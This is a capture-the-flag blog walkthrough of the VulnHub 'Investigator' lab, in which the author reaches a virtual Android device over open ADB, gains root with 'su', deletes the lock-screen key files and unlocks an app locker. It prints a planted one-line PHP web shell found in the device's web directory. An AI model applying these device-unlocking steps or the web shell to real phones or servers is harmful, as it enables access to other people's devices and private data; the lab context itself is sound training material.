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VulnHub Investigator Walkthrough - AppLocker PIN code unlock

VulnHub Investigator Walkthrough – Phone Hacking?

This time, my VulnHub Investigator Walkthrough is for hacking into an actual Android device.

VulnHub Investigator Walkthrough – Introduction

It’s time for another VulnHub write-up to follow-up my Sunset Midnight post!

This time, it’s Investigator by Sivanesh Kumar, which you can download here


First, when I loaded the VM in VirtualBox, I saw that it was an Android device of some kind.

VulnHub Investigator Walkthrough - Android lock screen

First, I scanned my network looking for the target system.

root@kali:~/VulnHub/investigator# nmap -sP
Starting Nmap 7.70 ( ) at 2020-09-03 22:56 EDT
Nmap scan report for pfSense.sanctuary (
Host is up (0.00043s latency).


Nmap scan report for
Host is up (0.00046s latency).
MAC Address: 08:00:27:80:2F:57 (Oracle VirtualBox virtual NIC)
Nmap done: 256 IP addresses (9 hosts up) scanned in 1.86 seconds

When I port scanned the device, I saw that ports 5555 and 8080 were open.

root@kali:~/VulnHub/investigator# nmap -A
Starting Nmap 7.70 ( ) at 2020-09-03 23:00 EDT
Stats: 0:00:43 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 23:01 (0:00:36 remaining)
Nmap scan report for
Host is up (0.00094s latency).
Not shown: 998 closed ports
5555/tcp open  freeciv?
8080/tcp open  http     PHP cli server 5.5 or later
|_http-title: Welcome To  UnderGround Sector
MAC Address: 08:00:27:80:2F:57 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

1   0.94 ms

Stats: 0:01:44 elapsed; 1 hosts completed (1 up), 0 undergoing Script Post-Scan
NSE Timing: About 0.00% done
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 104.43 seconds

Port 8080 had a default website that mentioned a missing investigator.

Port 8080 investigator

When I tried to visit another page on the server, I received the same message.

Investigator test page

Since this was an Android device, I installed ADB to perform some remote debugging.

root@kali:~/VulnHub/investigator# apt-get install adb
Reading package lists... Done
Building dependency tree       
Reading state information... Done


Processing triggers for libc-bin (2.31-2) ...
root@kali:~/VulnHub/investigator# adb
Android Debug Bridge version 1.0.39
Version 1:8.1.0+r23-7

Using ADB, I was able to successfully connect to the device.

root@kali:~/VulnHub/investigator# adb connect
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to
root@kali:~/VulnHub/investigator# adb devices -l
List of devices attached     device product:android_x86 model:VirtualBox device:x86 transport_id:1

Initial Foothold

With ADB working, I used the shell command to get access to the device.

root@kali:~/VulnHub/investigator# adb -s shell
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)@x86:/ $ id
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)@x86:/ $

Next, surprisingly enough, I was able to escalate to root with the ‘su’ command!

1|uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)@x86:/ $ su
uid=0(root) gid=0(root)@x86:/ # id
uid=0(root) gid=0(root)

Looking in the root directory, I found the flag.txt file which contained a clue for my next steps.

uid=0(root) gid=0(root)@x86:/data # cd root
uid=0(root) gid=0(root)@x86:/data/root # ls -al
-rw------- root     root          160 2020-07-02 18:27 flag.txt
uid=0(root) gid=0(root)@x86:/data/root # cat flag.txt
Great Move !!!

Itz a easy one right ???

lets make this one lil hard

You flag is not here  !!!     

Agent "S"   Your Secret Key ---------------->259148637

Device Access

First, I removed the key files from the system directory to disable the screen lock protection.

uid=0(root) gid=0(root)@x86:/data/system # ls *.key
uid=0(root) gid=0(root)@x86:/data/system # rm *.key

With these files removed, I could manually interact with the device. Note: VirtualBox does not show the mouse cursor in Android VMs by default, so navigating can be quite difficult.

VulnHub Investigator Walkthrough - Device unlocked

I also glanced at the PHP server on port 8080, to see if there was anything useful there.

Mobile PHP server

Next, I went to the web directory to see if there were any interesting files.

uid=0(root) gid=0(root)@x86:/mnt/shell/emulated/0 # cd www
uid=0(root) gid=0(root)@x86:/mnt/shell/emulated/0/www # ls -al
drwxrwx--- root     sdcard_r          2017-12-10 20:05 config
drwxrwx--- root     sdcard_r          2017-12-10 20:05 log
drwxrwx--- root     sdcard_r          2020-09-11 04:34 public
uid=0(root) gid=0(root)@x86:/mnt/shell/emulated/0/www # ls -al *
-rw-rw---- root     sdcard_r   250676 2017-12-10 20:05 cacert.pem
-rw-rw---- root     sdcard_r      862 2017-12-10 20:05 msmtp.cnf
-rw-rw---- root     sdcard_r      560 2017-12-10 20:05
-rw-rw---- root     sdcard_r       43 2017-12-10 20:05 php.ini
-rw-rw---- root     sdcard_r        0 2017-12-10 20:05 msmtp.log
-rw-rw---- root     sdcard_r       13 2017-12-10 20:06 .htaccess
drwxrwx--- root     sdcard_r          2018-04-04 00:29 announce
-rw-rw---- root     sdcard_r       18 2018-04-04 13:50 backdoor.php
drwxrwx--- root     sdcard_r          2018-04-04 18:38 backup
drwxrwx--- root     sdcard_r          2018-04-04 18:37 hello
-rw-rw---- root     sdcard_r      607 2020-07-03 18:43 index.html
drwxrwx--- root     sdcard_r          2018-04-04 00:31 secret22000
-rw-rw---- root     sdcard_r       34 2018-04-04 00:29 backdoor.php
at announce/backdoor.php
<?php system($_POST['secret']);?>

When attempting to open some apps on the device, something called AppLocker was stopping me.

AppLocker protection

After a few guesses and some thought, I realized that the secret key was positions to swipe for the AppLocker unlock code (259148637)!

VulnHub Investigator Walkthrough - AppLocker PIN code unlock

When I unlocked the device, I was able to go to the messaging application and see a hint about the flag.

VulnHub Investigator Walkthrough - Flag is in the next chat

Next, I viewed all the messages, and saw a ‘Welcome’ message.

More messages

Finally, when I opened the last message, I received my flag and finished this challenge!

Android flag captured

Video Highlight

If you’d rather watch the stream highlight rather than read all this text, then you can find it here.

To catch me live, be sure to follow me on Twitch!

VulnHub Investigator Walkthrough – Conclusion

This was different from anything else that I had streamed so far, but it was fun!

I learned a bit more about connecting to Android devices over ADB, and what a headache Android VMs are in VirtualBox.

The secret key being an unlock pattern was really cool, and I loved that hint.

I know that there have been a ton of VulnHub posts recently, but I am still catching up on all of my stream highlights.

In the meantime, let me know if there is any other content that you’d like to see, or just come on over and watch/follow/subscribe to the Twitch channel!

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